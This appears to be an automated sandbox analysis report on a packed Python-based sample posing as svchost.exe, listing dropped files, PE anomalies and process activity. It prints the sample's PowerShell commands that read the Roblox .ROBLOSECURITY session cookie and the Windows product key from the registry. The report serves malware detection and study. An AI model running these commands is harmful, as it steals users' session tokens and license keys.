Source:	Binary string: api-ms-win-core-sysinfo-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317974807.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318216249.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: based.exe, based.exe, 0000000C.00000002.1736690634.00007FFB16791000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, based.exe, 0000000C.00000002.1733429478.00007FFB0B711000.00000040.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: hacn.exe, 0000000D.00000002.1614418277.00007FFB01EA3000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318764292.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318216249.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317748057.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python310.pdb source: svchost.exe, 00000007.00000002.1296866084.00007FFB0C35F000.00000040.00000001.01000000.00000005.sdmp, based.exe, 0000000C.00000002.1735471064.00007FFB0C2CF000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: hacn.exe, 0000000D.00000002.1614418277.00007FFB01EA3000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1737790330.00007FFB1D341000.00000040.00000001.01000000.00000025.sdmp, hacn.exe, 0000000D.00000002.1629051984.00007FFB22653000.00000002.00000001.01000000.0000002F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1736377163.00007FFB0CAEB000.00000040.00000001.01000000.00000012.sdmp, hacn.exe, 0000000D.00000002.1617366112.00007FFB0211B000.00000002.00000001.01000000.00000031.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, based.exe, 0000000C.00000002.1737316978.00007FFB1AB01000.00000040.00000001.01000000.00000017.sdmp, hacn.exe, 0000000D.00000002.1628720514.00007FFB1E67D000.00000002.00000001.01000000.00000030.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\pywintypes.pdb** source: hacn.exe, 0000000D.00000002.1615071431.00007FFB01ED0000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318518944.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1734569058.00007FFB0B841000.00000040.00000001.01000000.0000001C.sdmp, hacn.exe, 0000000D.00000002.1622391264.00007FFB0B828000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: hacn.exe, 00000009.00000003.1317621694.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: based.exe, 0000000C.00000002.1737008983.00007FFB174C1000.00000040.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1605804760.00000243ED810000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: hacn.exe, 00000009.00000003.1332960543.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1626590704.00007FFB1C2E5000.00000002.00000001.01000000.00000036.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318764292.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318653656.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: based.exe, 0000000C.00000002.1734282606.00007FFB0B7F1000.00000040.00000001.01000000.00000020.sdmp, hacn.exe, 0000000D.00000002.1627735709.00007FFB1E3AD000.00000002.00000001.01000000.00000029.sdmp

Source: svchost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: svchost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: svchost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: svchost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: svchost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: api-ms-win-core-file-l1-2-0.dll.9.dr

Static PE information: 0xA4BAB144 [Mon Jul 30 06:01:40 2057 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline"

Source: C:\ProgramData\Microsoft\based.exe

Code function: 12_2_00007FFB0B722F80 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

12_2_00007FFB0B722F80

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

File created: C:\ProgramData\Microsoft\__tmp_rar_sfx_access_check_5871187

Jump to behavior

Source: select.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x967e
Source: _rust.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0x78b1a6
Source: python310.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x171f93
Source: _cffi_backend.cp310-win_amd64.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0x3108a
Source: backend_c.cp310-win_amd64.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0x8694d
Source: md.cp310-win_amd64.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0x12854
Source: y1aqvv5e.dll.54.dr	Static PE information: real checksum: 0x0 should be: 0xeaca
Source: libffi-7.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0x9fb1
Source: _brotli.cp310-win_amd64.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0xd0a91
Source: sqlite3.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0xa8583
Source: libssl-1_1.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0x3c5ea
Source: python310.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0x171f93
Source: win32event.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0xe713
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x4db19
Source: md__mypyc.cp310-win_amd64.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0x2bdb3
Source: pywintypes310.dll.9.dr	Static PE information: real checksum: 0x0 should be: 0x26a6c
Source: _queue.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0xd60c
Source: _ssl.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x15efd
Source: _decimal.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x245ea
Source: _socket.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x16497
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x245ea
Source: _pytransform.dll.9.dr	Static PE information: real checksum: 0x125b11 should be: 0x1202f4
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x20d9b
Source: win32api.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0x272b8
Source: _lzma.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x20d9b
Source: _cffi.cp310-win_amd64.pyd.9.dr	Static PE information: real checksum: 0x0 should be: 0xaa489
Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x118d90
Source: _bz2.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x194ae
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x194ae
Source: _sqlite3.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x1971c
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x16497
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x14e50
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x967e
Source: libcrypto-1_1.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0x118d90
Source: unicodedata.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x4db19
Source: _ctypes.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x15562
Source: based.exe.8.dr	Static PE information: real checksum: 0x5f6967 should be: 0x5f7296
Source: _hashlib.pyd.11.dr	Static PE information: real checksum: 0x0 should be: 0x14e50

Source: svchost.exe	Static PE information: section name: _RDATA
Source: Build.exe.0.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: based.exe.8.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.9.dr	Static PE information: section name: _RDATA
Source: _pytransform.dll.9.dr	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.9.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.9.dr	Static PE information: section name: .00cfg
Source: python310.dll.9.dr	Static PE information: section name: PyRuntim
Source: ucrtbase.dll.9.dr	Static PE information: section name: fothk
Source: ucrtbase.dll.9.dr	Static PE information: section name: .fptable
Source: VCRUNTIME140.dll.11.dr	Static PE information: section name: _RDATA
Source: libffi-7.dll.11.dr	Static PE information: section name: UPX2

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BC125A push ecx; ret		8_2_00BC126D
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BC1DB0 push ecx; ret		8_2_00BC1DC3

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\svchost.exe

Process created: "C:\Users\user\Desktop\svchost.exe"

Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\unicodedata.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_sqlite3.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\unicodedata.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\select.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\libcrypto-1_1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\zstandard\backend_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\libcrypto-1_1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\VCRUNTIME140.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\libssl-1_1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\libcrypto-1_1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_ctypes.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\libffi-7.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\libssl-1_1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\python3.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\win32\win32api.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\zstandard\_cffi.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\ucrtbase.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_decimal.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_ssl.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	File created: C:\ProgramData\Microsoft\based.exe	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-sysinfo-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\win32\win32event.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\VCRUNTIME140.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_queue.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_brotli.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	File created: C:\ProgramData\Microsoft\hacn.exe	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI57402\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\select.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_pytransform.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\select.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\python310.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	File created: C:\ProgramData\Microsoft\based.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	File created: C:\ProgramData\Microsoft\hacn.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\svchost.exe

